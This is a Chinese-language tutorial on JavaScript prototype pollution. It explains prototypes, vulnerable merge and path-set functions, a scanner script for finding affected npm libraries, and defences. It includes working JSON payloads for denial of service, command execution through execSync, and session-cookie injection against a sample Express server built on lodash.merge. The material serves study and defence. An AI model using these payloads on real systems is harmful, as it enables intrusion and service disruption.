0x01 深入了解JavaScript
对象与类
JavaScript一切皆对象,所以先来了解了解对象
创造一个最简单的js对象如:
var obj = {};
创建obj这个对象时,并没有赋予他任何属性或者方法,但是他会具有一些内置属性和方法,像__proto__
,constructor
,toString
等.
为了探究这些内置属性是怎么来的,接下来需要看一下JavaScript中类的一些机制
JavaScript中的类从一个函数开始:
- 函数对象:
function MyClass() {
console.log("lonmar");
}
var inst = new MyClass();
//以上代码创建了一个MyClass函数,同时MyClass也是一个类,可以像别的语言中那样为这个类实例化一个对象inst
观察以上代码执行结果可以发现,在实例化inst
的时候,MyClass()
也同样执行了.
这可以联想到构造函数,构造函数在的特性就是在new一个对象的时候执行.
所以MyClass()函数
与MyClass
这个类的关系就很明显了,前者是后者的构造函数
通过constructor
这个属性可以查看对象的构造函数
下面了解下 __proto__
与prototype
先抛出结论
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法- 一个对象的
__proto__
属性,指向这个对象所在的类的prototype
属性 - 类在运行程序运行时是可以修改的
再看实例:
下面这段代码通过prototype
属性,为Person类添加了getInfo()
这个属性.
其实例化对象也都具有这个属性
function Person(name,age) {
this.name = name;
this.age = age;
this.greed = function(){
console.log("hello,I am",this.name);
}
console.log("I am Person Class");
}
Person.prototype.getInfo = function(){
return this.name + "," + this.age;
}
var lonmar=new Person('lonmar',10);//I am Person Class
lonmar.greed();//hello,I am lonmar
lonmar.getInfo();//'lonmar,10'
下面其实是JavaScript中继承的一种写法,通过修改原型链来继承
Student类继承了Person类,但也可以看出只是继承部分属性,如constructor就没有被继承
然后通过prototype修改的属性也被继承了!
function Student(){
console.log("I am Student Class")
}
Student.prototype = new Person();//I am Person Class;erson { name: undefined, age: undefined, greed: [Function] }
Student.prototype.age = 10;//10
Student.prototype.name = "lonmar";//lonmar
var stud = new Student();
stud.getInfo();//'lonmar,10'
通过下面的实例又可以看出,Student类的prototype实际上指向一个Person的实例化对象
stud的__proto__
也指向一个对象,并且stud.__proto__ =Student.prototype
也可以依次向前查找__proto__
属性,可以发现奇妙的关系.(最终是null的)
最后,总结一下:
- JavaScript是一个神奇的语言,一切皆对象.
- 对象都有一个
__proto__
属性,指向它的类的``prototype` - 类是通过函数来定义的,定义的这个函数又是这个类的
constructor
属性值 - 每个构造函数
constructor
都有一个原型对象prototype
- JavaScript使用
prototype链
实现继承机制 - 子类是可以通过
prototype链
修改其父类属性,以及爷爷类的属性值的
0x02 什么是原型链污染
做一个简单的实验,其实也是对前面的一个总结
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
zoo.bar的结果是2;
因为前面修改了foo的原型foo.__proto__.bar = 2
,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。
后来,又用Object类创建了一个zoo对象let zoo = {}
,zoo对象自然也有一个bar属性了。
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
0x03 哪些情况下原型链会被污染
1. 最显然的情况
obj[a][b] = value
obj[a][b][c] = value
如果控制了a,b,c及value就可以进行原型链污染的攻击,
可以控制a=__proto__
2.利用某些API来进行攻击
- Object recursive merge
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
这种情况下,__proto__
必须被视为key才能成功
对于
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
//1.
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)//undefined
//2.
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)//2
1和2两种情况是不一样的.
因为前面代码中 __proto__
已经代表o2的原型了 ,没有被看成一个key
后面的代码中经过JSON.parse解析,__proto__
就代表了一个key
详情可参考https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x04
- Property definition by path
theFunction(object, path, value)
如果攻击者可以控制path,如path=__proto__.myValue
.就可以进行污染
- Object clone
function clone(obj) {
return merge({}, obj);
}
3. 找出易受攻击的API
在https://github.com/HoLyVieR/prototype-pollution-nsec18这个项目的paper里面,作者给了一个找易受攻击API的脚本.
node xx.js library-name
var process = require('process');
//check是否收到污染
function check() {
if ({}.test == "123" || {}.test == 123) {
delete Object.prototype.test;
return true;
}
return false;
}
function run(fnct, sig, name, totest) {
// Reinitialize to avoid issue if the previous function changed attributes.
BAD_JSON = JSON.parse('{"__proto__":{"test":123}}');
try {
fnct(totest);
} catch (e) {}
if (check()) {
console.log("Detected : " + name + " (" + sig + ")");
}
}
var BAD_JSON = {};//NULL OBJ
var args = process.argv.slice(2);//node xx.js param1 param2 parma3获取所有参数 返回数组[param1,param2,param3]
//忽略异常
process.on('uncaughtException', function(err) { });
var pattern = [{
fnct : function (totest) {
totest(BAD_JSON);
},
sig: "function (BAD_JSON)"
},{
fnct : function (totest) {
totest(BAD_JSON, {});
},
sig: "function (BAD_JSON, {})"
},{
fnct : function (totest) {
totest({}, BAD_JSON);
},
sig: "function ({}, BAD_JSON)"
},{
fnct : function (totest) {
totest(BAD_JSON, BAD_JSON);
},
sig: "function (BAD_JSON, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, {}, BAD_JSON);
},
sig: "function ({}, {}, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, {}, {}, BAD_JSON);
},
sig: "function ({}, {}, {}, BAD_JSON)"
},{
fnct : function (totest) {
totest({}, "__proto__.test", "123");
},
sig: "function ({}, BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest({}, "__proto__[test]", "123");
},
sig: "function ({}, BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest("__proto__.test", "123");
},
sig: "function (BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest("__proto__[test]", "123");
},
sig: "function (BAD_PATH, VALUE)"
},{
fnct : function (totest) {
totest({}, "__proto__", "test", "123");
},
sig: "function ({}, BAD_STRING, BAD_STRING, VALUE)"
},{
fnct : function (totest) {
totest("__proto__", "test", "123");
},
sig: "function (BAD_STRING, BAD_STRING, VALUE)"
}]
if (args.length < 1) {
console.log("First argument must be the library name");
exit();
}
try {
var lib = require(args[0]);
} catch (e) {
console.log("Missing library : " + args[0] );
exit();
}
var parsedObject = [];
function exploreLib(lib, prefix, depth) {
if (depth == 0) return;
if (parsedObject.indexOf(lib) !== -1) return;
parsedObject.push(lib);
for (var k in lib) {
if (k == "abort") continue;
if (k == "__proto__") continue;
if (+k == k) continue;
console.log(k);
if (lib.hasOwnProperty(k)) {
for (p in pattern) {
if (pattern.hasOwnProperty(p)) {
run(pattern[p].fnct, pattern[p].sig, prefix + "." + k, lib[k]);
}
}
exploreLib(lib[k], prefix + "." + k, depth - 1);
}
}
if (typeof lib == "function") {
for (p in pattern) {
if (pattern.hasOwnProperty(p)) {
run(pattern[p].fnct, pattern[p].sig, args[0], lib);
}
}
}
}
exploreLib(lib, args[0], 5);
下面也是paper里面给出的几个library
1. Merge function
-
hoek
hoek.merge
hoek.applyToDefaults
Fixed in version 4.2.1
Fixed in version 5.0.3 -
lodash
lodash.defaultsDeep
lodash.merge
lodash.mergeWith
lodash.set
lodash.setWith
Fixed in version 4.17.5 -
merge
merge.recursive
Not fixed. Package maintainer didn’t respond to the disclosure. -
defaults-deep
defaults-deep
Fixed in version 0.2.4 -
merge-objects
merge-objects
Not fixed. Package maintainer didn’t respond to the disclosure. -
assign-deep
assign-deep
Fixed in version 0.4.7 -
merge-deep
Merge-deep
Fixed in version 3.0.1 -
mixin-deep
mixin-deep
Fixed in version 1.3.1 -
deep-extend
deep-extend
Not fixed. Package maintainer didn’t respond to the disclosure. -
merge-options
merge-options
Not fixed. Package maintainer didn’t respond to the disclosure. -
deap
deap.extend
deap.merge
deap
Fixed in version 1.0.1 -
merge-recursive
merge-recursive.recursive
Not fixed. Package maintainer didn’t respond to the disclosure.
2. Clone
- deap
deap.clone
Fixed in version 1.0.1
3. Property definition by path
- lodash
lodash.set
lodash.setWith - pathval
pathval.setPathValue
pathval - dot-prop
dot-prop.set
dot-prop - object-path
object-path.withInheritedProps.ensureExists
object-path.withInheritedProps.set
object-path.withInheritedProps.insert
object-path.withInheritedProps.push
object-path
0x04 Attacking
1. 拒绝服务
JS中的Object默认带了一些属性,如toString和valueOf,利用原型链污染他们,可能导致整个程序停止运行
toString()将Object转换为字符串格式返回,valueOf()返回数值或者bool值等
{}__proto__.toString="123"
{}__proto__.valueOf="123"
eg: server.js
var _ = require('lodash');
var express = require('express');
var app = express();
var bodyParser = require('body-parser');
app.use(bodyParser.json({ type: 'application/*+json' }))
app.get('/', function (req, res) {
res.send("Use the POST method !");
});
app.post('/', function (req, res) {
_.merge({}, req.body);
res.send(req.body);
});
app.listen(3000, function () {
console.log('Example app listening on port 3000!')
});
payload{"__proto__":{"toString":"123","valueOf":"It works !"}}
2. for循环污染
就像下面的for循环,如果commands里面有,就可以执行恶意代码,污染等
{
“__proto__”:{“my malicious command”:”echo yay > /tmp/evil”}
}
var execSync = require('child_process').execSync;
function runJobs() {
var commands = {
"script-1" : "/bin/bash /opt/my-script-1.sh",
"script-2" : "/bin/bash /opt/my-script-2.sh"
};
for (var scriptname in commands) {
console.log("Executing " + scriptname);
execSync(commands[scriptname]);
}
}
3. 属性注入
注意到,如果污染了某个类的prototype
,那么那些没有被显式定义的对象都会受到影响.
NodeJS 的 http
模块支持很多header同一个name.
所以如果污染了如cookie
等.会造成很有意思的攻击.可能导致所有用户公用一个session
{“__proto__”:{“cookie”:”sess=fixedsessionid; garbage=”}}
0x05 针对Prototype pollution的防御
1. 原型冻结
ECMAScript5标准中添加的一个特性.
使用该特性后,对于对象属性的修改都将失败
eg:
Object.freeze()
冻结对象, 冻结的对象无法再更改.我们无法添加,编辑或删除其中的属性
Object.freeze(Object.prototype);
Object.freeze(Object);
({}).__proto__.test = 123
({}).test // this will be undefined
2. Schema validation of JSON input
NPM上的多个库(例如:avj)都为JSON数据提供了模式验证
可以在json规则里添加additionalProperties=false
3. 使用MAP代替Object
MAP是EcmaScript 6标准中新增的
需要使用key/value模式时,尽量用MAP
1.js创建map对象
var map = new Map();
2.将键值对放入map对象
map.set("key",value)
map.set("key1",value1)
map.set("key2",value2)
3.根据key获取map值
map.get(key)
4.删除map指定对象
delete map[key]
或
map.delete(key)
5.循环遍历map
map.forEach(function(key){
console.log("key",key) //输出的是map中的value值
})
4.Object.create(null)
可以用JavaScript创建没有任何原型的对象 : Object.create(null)
,用Object.creat创建的对象没有__proto__
和constructor
以这种方式创建对象可以帮助减轻原型污染攻击
var obj = Object.create(null);
obj.__proto__ // undefined
obj.constructor // undefined
参考: